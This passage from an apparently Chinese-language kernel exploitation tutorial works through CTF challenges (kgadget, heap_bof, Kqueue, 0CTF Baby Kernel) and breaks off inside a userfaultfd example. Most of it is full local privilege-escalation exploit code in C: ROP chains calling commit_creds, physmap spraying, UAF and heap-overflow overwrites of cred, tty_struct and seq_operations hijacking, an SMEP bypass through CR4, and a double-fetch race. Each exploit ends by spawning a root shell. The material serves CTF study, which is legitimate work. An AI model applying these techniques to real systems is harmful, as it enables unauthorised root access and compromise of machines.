size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t ret = 0xFFFFFFFF8100168A;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void get_shell() { system("/bin/sh"); }

int core_fd;

void coore_read(char *buf) {
    ioctl(core_fd, 0x6677889B, buf);
}

void set_off(size_t off) {
    ioctl(core_fd, 0x6677889C, off);
}

void core_write(char *buf, size_t len) {
    write(core_fd, buf, len);
}

void rebase() {
    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if (kallsyms_fd < 0) {
        puts("[-] Failed to open kallsyms.\n");
        exit(-1);
    }
    char name[0x50], type[0x10];
    size_t addr;
    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
        size_t offset = -1;
        if (!strcmp(name, "commit_creds")) {
            offset = addr - (size_t) commit_creds;
        } else if (!strcmp(name, "prepare_kernel_cred")) {
            offset = addr - (size_t) prepare_kernel_cred;
        }
        if (offset != -1) {
            printf("[*] offset: %p\n", offset);
            commit_creds += offset;
            prepare_kernel_cred += offset;
            init_cred += offset;
            pop_rdi_ret += offset;
            add_rsp_0xe8_ret += offset;
            pop_rsp_ret += offset;
            ret += offset;
            swapgs_restore_regs_and_return_to_usermode += offset;
            break;
        }
    }
    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}

size_t get_canary() {
    set_off(64);
    char buf[64];
    coore_read(buf);
    return *(size_t *) buf;
}

void physmap_spray() {
    size_t page_size = sysconf(_SC_PAGESIZE);
    size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    int it = 0;
    for (; it < (page_size / 8 - 11); it++) {
        rop[it] = ret;
    }
    rop[it++] = pop_rdi_ret;
    rop[it++] = init_cred;
    rop[it++] = commit_creds;
    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[it++] = 0;
    rop[it++] = 0;
    rop[it++] = (size_t) get_shell;
    rop[it++] = user_cs;
    rop[it++] = user_rflags;
    rop[it++] = user_sp;
    rop[it++] = user_ss;
    puts("[*] Spraying physmap...");
    for (int i = 1; i < 30000; i++) {
        void *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        memcpy(page, rop, page_size);
    }
}

int main() {
    rebase();
    save_status();
    physmap_spray();

    core_fd = open("/proc/core", O_RDWR);
    if (core_fd < 0) {
        puts("[-] Failed to open core.");
        exit(-1);
    }

    size_t canary = get_canary();
    printf("[*] canary: %p\n", canary);

    char buf[0x100];
    memset(buf, 'a', sizeof(buf));
    *(size_t *) &buf[64] = canary;
    *(size_t *) &buf[80] = add_rsp_0xe8_ret;

    core_write(buf, sizeof(buf));

    __asm__(
            "mov r15, pop_rsp_ret;"
            "mov r14, try_hit;"
            "mov r13, 0x3333333333333333;"
            "mov r12, 0x4444444444444444;"
            "mov rbp, 0x5555555555555555;"
            "mov rbx, 0x6666666666666666;"
            "mov r11, 0x7777777777777777;"
            "mov r10, 0x8888888888888888;"
            "mov r9, 0x9999999999999999;"
            "mov r8, 0xaaaaaaaaaaaaaaaa;"
            "mov rcx, 0xbbbbbbbbbbbbbbbb;"
            "mov rax, 16;"
            "mov rdx, 0xffffffffffff0058;"
            "mov rsi, 0x6677889A;"
            "mov rdi, core_fd;"
            "syscall;"
            );

    system("/bin/sh");

    return 0;
}
例题:MINI-LCTF2022 - kgadget

附件下载链接
主要漏洞点在 kgaget_ioctl 函数上。分析如下:
在这里插入图片描述
总之这个函数可以执行指定位置的代码。
不过根据输出他提示信息, pt_regs 中只有 r8 和 r9 寄存器可以使用,但是除去这两个寄存器和系统调用以及传参用掉的寄存器还有 r11 和 rcx 的值没有被覆盖。
在这里插入图片描述
为了探究原因,首先在系统调用前将寄存器赋值为特殊值。
在这里插入图片描述
然后在 entry_SYSCALL_64 函数处下一个条件端点。
在这里插入图片描述
运行测试程序成功断在了目标位置。
在这里插入图片描述
观察寄存器发现 rcx 和 r11 以经被写入其他值了。因此这两个寄存器实际上是无法利用的。
在这里插入图片描述
漏洞利用的手段比较巧妙。
首先在用户空间喷射大量下图所示的内存页。
在这里插入图片描述
由于栈迁移的 gadget 占了绝大多数,因此 ioctl 执行随便一个地址的 gadget 很大概率会将栈迁移到 pt_regs 结构体。
在 pt_regs 结构体中利用 r8 和 r9 两个寄存器将栈迁移到喷射内存的区域的某个地址,很大概率会迁移到 add rsp; ret;ret; gadget 处,很大概率会最终执行到 rop 完成 提权。
在这里插入图片描述

返回用户空间在使用 swapgs_restore_regs_and_return_to_usermode 函数时应该注意,前面 pop 完寄存器之后除 iretq 需要的寄存器还剩 orig_rax 和 rdi ,为了缩短 rop 的长度,可以直接 retn 到标记的位置,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
在这里插入图片描述
exp 如下:

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

const size_t try_hit = 0xffff888000000000 + 0x7000000;
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int dev_fd;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}

void get_shell() { system("/bin/sh"); }

int main() {
    save_status();
    dev_fd = open("/dev/kgadget", O_RDWR);
    if (dev_fd < 0) {
        puts("[-] Error: open kgadget");
    }
    page_size = sysconf(_SC_PAGESIZE);
    size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    int idx = 0;
    while (idx < (page_size / 8 - 0x30)) {
        rop[idx++] = 0xffffffff810737fe;// add rsp, 0xa0; pop rbx; pop r12; pop r13; pop rbp; ret;
    }
    for (; idx < (page_size / 8 - 11); idx++) {
        rop[idx] = 0xffffffff8108c6f1;// ret;
    }
    rop[idx++] = 0xffffffff8108c6f0;// pop rdi; ret;
    rop[idx++] = 0xffffffff82a6b700;// init_cred
    rop[idx++] = 0xffffffff810c92e0;// commit_creds
    rop[idx++] = 0xffffffff81c00fb0 + 27;// swapgs_restore_regs_and_return_to_usermode + 27;
    rop[idx++] = 0x0000000000000000;// padding
    rop[idx++] = 0x0000000000000000;// padding
    rop[idx++] = (size_t) get_shell;
    rop[idx++] = user_cs;
    rop[idx++] = user_rflags;
    rop[idx++] = user_sp;
    rop[idx++] = user_ss;
    puts("[*] Spraying physmap...");
    for (int i = 1; i < 15000; i++) {
        sigset_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        memcpy(page, rop, page_size);
    }
    puts("[*] trigger physmap one_gadget...");
    __asm__(
    "mov r15,   0xbeefdead;"
    "mov r14,   0x11111111;"
    "mov r13,   0x22222222;"
    "mov r12,   0x33333333;"
    "mov rbp,   0x44444444;"
    "mov rbx,   0x55555555;"
    "mov r11,   0x66666666;"
    "mov r10,   0x77777777;"
    "mov r9,    0xffffffff811483d0;"// pop rsp; ret;
    "mov r8,    try_hit;"
    "mov rax,   0x10;"
    "mov rcx,   0xaaaaaaaa;"
    "mov rdx,   try_hit;"
    "mov rsi,   0x1bf52;"
    "mov rdi,   dev_fd;"
    "syscall"
    );
    return 0;
}

Kernel Heap Exploit

这里以例题 heap bof 为例进行讲解。

heap bof 源码如下,存在 uaf 和堆溢出两种漏洞。

struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    unsigned long idx;// 表示 ptr 数组的 索引
};

long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    struct param p_arg;
    copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
    long retval = 0;
    switch (cmd) {
        case 9:
            copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
            printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
            break;
        case 8:
            copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
            break;
        case 7:
            kfree(ptr[p_arg.idx]);
            printk("free: 0x%p\n", ptr[p_arg.idx]);
            break;
        case 5:
            ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
            printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
            break;
        default:
            retval = -1;
            break;
    }
    return retval;
}

Use After Free

修改 cred

cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xe0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>

struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    unsigned long idx;// 表示 ptr 数组的 索引
};

int main() {
    int fd = open("dev/bof", O_RDWR);
    struct param p = {0xa8, malloc(0xa8), 1};
    ioctl(fd, 5, &p);//malloc
    ioctl(fd, 7, &p);//free
    int pid = fork();
    if (pid < 0) {
        puts("[-]fork error");
        return -1;
    }
    if (pid == 0) {
        p.buf = malloc(p.len = 0x30);
        memset(p.buf, 0, p.len);
        ioctl(fd, 8, &p);//edit
        if (getuid() == 0) {
            puts("[+]root success");
            system("/bin/sh");
        } else {
            puts("[-]root failed");
        }
    } else {
        wait(NULL);
    }
    close(fd);
    return 0;
}

但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并

来着内核源码 4.5 kernel/cred.c

void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
			SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

本题(4.4.72):

void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
				     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}

利用 tty_struct 劫持程序控制流提权

/dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,与其他类型设备相同,tty 驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations

使用 tty 设备的前提是挂载了 ptmx 设备。

mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx

tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations

struct tty_operations {
    ...
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
    ...
};

struct tty_struct {
    ...
	const struct tty_operations *ops;
	...
}

因此我们只需要像上一种方法那样利用 UAF 修改 tty_struct 的结构体指针 ops (这里不直接劫持 tty_operations 的原因是 tty_operations 已经实例化的,不是动态申请的,类似 glibc 中的 _IO_XX_jumps )然后再调用 tty 的相关操作函数就可以劫持控制流,实现我们想要的操作。
然而如果仅仅是靠修改 tty_operations 结构体中某函数指针只能写入一个 gadget ,除了使用 pt_regs + ret2dir 外还有下面这种方法。

这里需要利用通过 tty_struct 执行 ioctl 时的特性。

首先由于 tty_struct 指向的 tty_operations 已经实例化,因此可以通过 tty_structtty_operations 泄露内核基址。

通过 tty_struct 执行 ioctl 时, rax 的值正好是 rip 的值,也就是 tty_operations 中 ioctl 函数指针指向的指令的地址。
在这里插入图片描述
如果向 ioctl 函数指针写入 xchg eax,esp;ret 指令地址,则会将 rsp 的值置为 rax & 0xffffffff ,即将栈迁移至 rax & 0xffffffff 地址处。如果我们提前在 rax & 0xffffffff 地址处布置好 rop 则可以完成提权操作。
在这里插入图片描述
这里需要注意的是:

  • mmap 的内存不应该从 rax & 0xffffffff 开始,因为在执行 rop 时返回到用户空间执行 get_root 函数会抬高 rsp 小于 rax & 0xffffffff 造成越界,因此需要加一个偏移。

        void *mmap_addr = mmap(mmap_base - 0x1000, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
  • mmap 的内存是没有映射到实际物理内存的虚拟内存,如果 rsp 到达没有写入 rop 的位置同样也会导致越界错误,因此在使用前先写入数据使其映射到物理内存上。

        memset(mmap_addr, 0, 0x30000);
    

由于 ROP 在用户空间,因此不能过 SMAP 保护。

#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

size_t pop_rdi_ret = 0xffffffff8135ce9d;
size_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81004c10;
size_t swapgs_pop_rbp_ret = 0xffffffff810601f4;
size_t iretq = 0xffffffff810463cc;
size_t xchg_eax_esp_ret = 0xffffffff8100008a;

struct tty_operations {
    struct tty_struct *(*lookup)(struct tty_driver *driver, struct file *filp, int idx);

    int (*install)(struct tty_driver *driver, struct tty_struct *tty);

    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);

    int (*open)(struct tty_struct *tty, struct file *filp);

    void (*close)(struct tty_struct *tty, struct file *filp);

    void (*shutdown)(struct tty_struct *tty);

    void (*cleanup)(struct tty_struct *tty);

    int (*write)(struct tty_struct *tty, const unsigned char *buf, int count);

    int (*put_char)(struct tty_struct *tty, unsigned char ch);

    void (*flush_chars)(struct tty_struct *tty);

    int (*write_room)(struct tty_struct *tty);

    int (*chars_in_buffer)(struct tty_struct *tty);

    int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);

    long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);

    void (*set_termios)(struct tty_struct *tty, struct ktermios *old);

    void (*throttle)(struct tty_struct *tty);

    void (*unthrottle)(struct tty_struct *tty);

    void (*stop)(struct tty_struct *tty);

    void (*start)(struct tty_struct *tty);

    void (*hangup)(struct tty_struct *tty);

    int (*break_ctl)(struct tty_struct *tty, int state);

    void (*flush_buffer)(struct tty_struct *tty);

    void (*set_ldisc)(struct tty_struct *tty);

    void (*wait_until_sent)(struct tty_struct *tty, int timeout);

    void (*send_xchar)(struct tty_struct *tty, char ch);

    int (*tiocmget)(struct tty_struct *tty);

    int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);

    int (*resize)(struct tty_struct *tty, struct winsize *ws);

    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);

    int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);

    const struct file_operations *proc_fops;
};

struct param {
    size_t len;
    char *buf;
    long long idx;
};
#define KERNCALL __attribute__((regparm(3)))

void *(*prepare_kernel_cred)(void *)KERNCALL =(void *) 0xffffffff8109f2b0;

void *(*commit_creds)(void *)KERNCALL =(void *) 0xffffffff8109ef00;

void get_shell() { system("/bin/sh"); }

void get_root() { commit_creds(prepare_kernel_cred(0)); }

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*] status has been saved.");
}

#define __USE_GNU

#include <sched.h>

void bind_cpu(int core) {
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

const int BOF_NUM = 40;
const int PTMX_NUM = 0x100;

int main() {
    bind_cpu(sched_getcpu());

    int bof_fd = open("/dev/bof", O_RDWR);
    if (bof_fd == -1) {
        puts("[-] open bof device failed!");
        return -1;
    }

    struct param p;
    p.buf = malloc(p.len = 0x2e0);

    // 让驱动分配 BOF_NUM 个 0x2e0  的内存块
    for (p.idx = BOF_NUM - 1; p.idx >= 0; p.idx--) {
        ioctl(bof_fd, 5, &p); // malloc
    }

    // 释放 BOF_NUM 个申请的内存块
    for (p.idx = BOF_NUM - 1; p.idx >= 0; p.idx--) {
        ioctl(bof_fd, 7, &p);  // free
    }

    // 批量 open /dev/ptmx, 喷射 tty_struct
    int ptmx_fds[PTMX_NUM];
    for (int i = 0; i < PTMX_NUM; ++i) {
        ptmx_fds[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
        if (ptmx_fds[i] == -1) {
            puts("[-] open ptmx err");
        }
    }

    p.idx = 0;
    ioctl(bof_fd, 9, &p);
    // 此时如果释放后的内存被 tty_struct 占用,那么他的开始字节序列应该为 1 54  0  0  1  0  0  0  0  0  0  0  0  0  0  0
    for (int i = 0; i < 16; ++i) {
        printf("%2x%c", p.buf[i], i == 15 ? '\n' : ' ');
    }

    // 利用 tty_operations 指针泄露内核基址
    size_t offset = (*(size_t *) &p.buf[0x18]) - 0xffffffff81a87940;
    printf("[*] offset: %p\n", offset);
    commit_creds = (void *) ((size_t) commit_creds + offset);
    prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
    pop_rdi_ret += offset;
    mov_cr4_rdi_pop_rbp_ret += offset;
    swapgs_pop_rbp_ret += offset;
    iretq += offset;
    xchg_eax_esp_ret += offset;

    // 伪造 tty_operations 结构体
    struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));
    memset(fake_tty_operations, 0, sizeof(struct tty_operations));
    fake_tty_operations->ioctl = (void *) xchg_eax_esp_ret;
    fake_tty_operations->close = (void *) xchg_eax_esp_ret;

    // 布局 rop 链
    save_status();
    size_t rop_chain[] = {
            pop_rdi_ret,
            0x6f0,
            mov_cr4_rdi_pop_rbp_ret,
            0,
            (size_t) get_root,
            swapgs_pop_rbp_ret,
            0,//padding
            iretq,
            (size_t) get_shell,
            user_cs,
            user_rflags,
            user_sp,
            user_ss
    };

    // 触发漏洞前先把 rop 链拷贝到 mmap_base
    void *mmap_base = (void *) (xchg_eax_esp_ret & 0xffffffff);
    void *mmap_addr = mmap(mmap_base - 0x1000, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    printf("[*] mmap_addr: %p\n", mmap_addr);
    memset(mmap_addr, 0, 0x30000);
    memcpy(mmap_base, rop_chain, sizeof(rop_chain));

    // 批量修改 tty_struct 的 ops 指针
    *(size_t *) &p.buf[0x18] = (size_t) fake_tty_operations;
    for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
        ioctl(bof_fd, 8, &p);
    }

    // 调用 tty_operations.ioctl 和 tty_operations.close 触发漏洞
    for (int i = 0; i < PTMX_NUM; ++i) {
        ioctl(ptmx_fds[i], 0, 0);
        close(ptmx_fds[i]);
    }

    return 0;
}

Heap Overflow

修改 cred

溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>

struct param {
    size_t len;    // 内容长度
    char *buf;     // 用户态缓冲区地址
    long long idx; // 表示 ptr 数组的 索引
};

const int BOF_NUM = 10;

int main(void) {
    int bof_fd = open("/dev/bof", O_RDWR);
    if (bof_fd == -1) {
        puts("[-] Failed to open bof device.");
        exit(-1);
    }

    struct param p = {0xa8, malloc(0xa8), 0};
    // 让驱动分配 80 个 0xa8  的内存块
    for (int i = 0; i < 80; i++) {
        ioctl(bof_fd, 5, &p);  // malloc
    }
    puts("[*] clear heap done");

    // 让驱动分配 10 个 0xa8  的内存块
    for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
        ioctl(bof_fd, 5, &p);  // malloc
    }
    p.idx = 5;
    ioctl(bof_fd, 7, &p); // free

    // 调用 fork 分配一个 cred结构体
    int pid = fork();
    if (pid < 0) {
        puts("[-] fork error");
        exit(-1);
    }

    // 此时 ptr[4] 和 cred相邻
    // 溢出 修改 cred 实现提权
    p.idx = 4, p.len = 0xc0 + 0x30;
    memset(p.buf, 0, p.len);
    ioctl(bof_fd, 8, &p);
    if (!pid) {
        //一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
        size_t uid = getuid();
        printf("[*] uid: %zx\n", uid);
        if (!uid) {
            puts("[+] root success");
            // 权限修改完毕,启动一个shell,就是root的shell了
            system("/bin/sh");
        } else {
            puts("[-] root fail");
        }
    } else {
        wait(0);
    }
    return 0;
}

堆溢出 + 堆喷射覆写 seq_operations 控制内核执行流

原题为 InCTF2021 - Kqueue ,这里简化分析过程用 heap_bof 代替。

seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

在调用读取 stat 文件时会调用 seq_operationsstart 函数指针。

ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
	struct seq_file *m = file->private_data;
	...
	p = m->op->start(m, &pos);
	...

当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。

由于这道题关闭了 SMEP,SMAP 和 KPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。

至于 KASLR 可以通过泄露栈上的数据绕过。
在这里插入图片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    long long idx;// 表示 ptr 数组的 索引
};

const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;

void get_shell() { system("/bin/sh"); }

size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

#define KERNCALL __attribute__((regparm(3)))

void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF810A1340;

void *init_cred = (void *) 0xFFFFFFFF81E496C0;

size_t kernel_offset;

void get_root() {
    __asm__(
            "mov rax, [rsp + 8];"
            "mov kernel_offset, rax;"
            );
    kernel_offset -= 0xffffffff81229378;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
            "swapgs;"
            "push user_ss;"
            "push user_sp;"
            "push user_rflags;"
            "push user_cs;"
            "push user_rip;"
            "iretq;"
            );
}

int main() {
    int bof_fd = open("dev/bof", O_RDWR);
    if (bof_fd < 0) {
        puts("[-] Failed to open bof.");
        exit(-1);
    }
    struct param p = {0x20, malloc(0x20), 0};
    for (int i = 0; i < 0x40; i++) {
        ioctl(bof_fd, 5, &p);
    }

    int seq_fd[SEQ_NUM];
    for (int i = 0; i < SEQ_NUM; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
        if (seq_fd[i] < 0) {
            puts("[-] Failed to open stat.");
        }
    }
    puts("[*] seq_operations spray finished.");

    p.len = DATA_SIZE;
    p.buf = malloc(DATA_SIZE);
    p.idx = 0;
    for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
        *(size_t *) &p.buf[i] = (size_t) get_root;
    }
    ioctl(bof_fd, 8, &p);
    puts("[*] Heap overflow finished.");

    save_status();
    for (int i = 0; i < SEQ_NUM; i++) {
        read(seq_fd[i], p.buf, 1);
    }

    return 0;
}

Race condition

double fetch

用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。
一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
在这里插入图片描述

例题:2018 0CTF Finals Baby Kernel

baby_ioctl 函数有两个功能。

  • 0x6666:打印 flag 的存放地址
      if ( (_DWORD)a2 == 0x6666 )
      {
        printk("Your flag is at %px! But I don't think you know it's content\n", flag);
        return 0LL;
      }
    
  • 0x1337:检验用户输入的参数地址是否合法以及用户输入的 flag 内容是否正确。如果通过检验则打印 flag 内容。
    bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
    {
      bool v3; // cf
      unsigned __int64 v4; // rdi
    
      v3 = __CFADD__(a2, a1);                       // 检查相加是否溢出
      v4 = a2 + a1;
      return v3 || a3 < v4;
    }
    
      else if ( (_DWORD)a2 == 0x1337
             && !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
             && !_chk_range_not_ok(
                   v5->flag_str,
                   SLODWORD(v5->flag_len),
                   *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
             && LODWORD(v5->flag_len) == strlen(flag) )
      {
        for ( i = 0; i < strlen(flag); ++i )
        {
          if ( *(_BYTE *)(v5->flag_str + i) != flag[i] )
            return 0x16LL;
        }
        printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
        return 0LL;
      }
    

调试发现第一次 _chk_range_not_ok 检查结构体范围是否在用户空间。
在这里插入图片描述
第二次 _chk_range_not_ok 检查 flag 是否在用户空间。
在这里插入图片描述
因此我们可以起一个线程改 flag 指针,可以有一定概率在第二次 _chk_range_not_ok 和校验 flag 之间将 flag 指针指向真正的 flag 从而通过对 flag 的校验。

#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define TRYTIME 0x1000
#define LEN 0x1000

struct attr {
    char *flag;
    size_t len;
};
char *addr;
int finish = 0;
char buf[LEN + 1];

void change_attr_value(void *s) {
    struct attr *s1 = s;
    while (finish == 0) {
        s1->flag = addr;
    }
}

int main(void) {
    int addr_fd;
    char *idx;
    int fd = open("/dev/baby", 0);
    ioctl(fd, 0x6666);
    system("dmesg > /tmp/record.txt");
    addr_fd = open("/tmp/record.txt", O_RDONLY);
    lseek(addr_fd, -LEN, SEEK_END);
    read(addr_fd, buf, LEN);
    close(addr_fd);
    idx = strstr(buf, "Your flag is at ");
    if (idx == 0) {
        printf("[-] Not found addr");
        exit(-1);
    } else {
        idx += 16;
        addr = (char *) strtoull(idx, NULL, 16);
        printf("[+] flag addr: %p\n", addr);
    }
    pthread_t t1;
    struct attr t = {"flag{fake_flag}", 33};
    pthread_create(&t1, NULL, (void *) change_attr_value, &t);
    for (int i = 0; i < TRYTIME; i++) {
        t.flag = "flag{fake_flag}";
        ioctl(fd, 0x1337, &t);
    }
    finish = 1;
    pthread_join(t1, NULL);
    close(fd);
    puts("[+]result is :");
    system("dmesg | grep flag{");
    return 0;
}

userfaultfd

条件竞争的成功利用往往需要正确的顺序,然而若是直接开两个线程进行竞争,命中的几率是比较低的,就比如说前面的 double fetch 尝试 0x1000 次也不一定会命中一次。而 userfaultfd 本身只是一个常规的与处理缺页异常相关的系统调用,但是通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高。

内核的内存主要有两个区域,RAM和交换区,将要被使用的内存放在RAM,暂时用不到的内存放在交换区,内核控制交换进出的过程。RAM中的地址是物理地址,内核使用虚拟地址,其通过多级页表建立虚拟地址到物理地址的映射。但有的内存既不在RAM又不在交换区,比如mmap出来的内存,这块内存在读写它之前并没有分配实际的物理页。例如:mmap(0x1337000,0x1000,PROT_READ|PROT_WRITE,MAP_FIXED|MAP_PRIVATE,fd,0);

内核并未将fd内容拷贝到0x1337000,只是将地址0x1337000映射到文件fd
比如此时有下列代码运行

char *a = (char *)0x1337000
printf("content: %c\n", a[0]);

可以看到在读取数据,内核会进行以下操作:

  • 0x1337000创建物理帧
  • fd读取内容到0x1337000(如果是堆空间映射的话,会将对应的物理帧清零)
  • 在页表标记合适的入口,以便识别0x1337000虚地址。

所以说,这里的过程用时会比较长。

userfaultfd 是 linux 下的一直缺页处理机制,用户可以自定义函数来处理这种事件。下面举一个向缺页处写入数据的例子:

#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

int page_size;

static void *fault_handler_thread(void *arg) {
    long uffd = (long) arg;

    //mmap 映射一块虚拟内存用来存放待写入的数据
    static char *page = NULL;
    if (page == NULL) {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED) {
            puts("[-] Error at: mmap");
            exit(-1);
        }
        printf("[*] mmap addr: %p\n", page);
    }

    //循环处理缺页错误
    while (true) {
